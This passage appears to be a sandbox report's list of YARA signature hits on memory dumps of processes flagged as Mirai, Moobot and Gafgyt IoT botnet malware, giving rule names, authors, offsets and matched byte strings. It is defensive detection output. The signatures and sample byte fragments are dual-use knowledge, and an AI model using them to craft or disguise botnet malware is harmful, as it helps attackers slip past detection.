6377.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6377.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6377.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6377.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6377.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6377.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6853.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7384.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7027.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7027.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7027.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7027.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7027.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7027.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6264.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6264.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6264.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6264.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6264.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6264.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6812.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6835.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6849.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6849.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6849.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6849.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6849.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6849.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6693.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6693.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6693.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6693.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6693.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6693.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7328.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7099.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7099.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7099.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7099.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7099.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 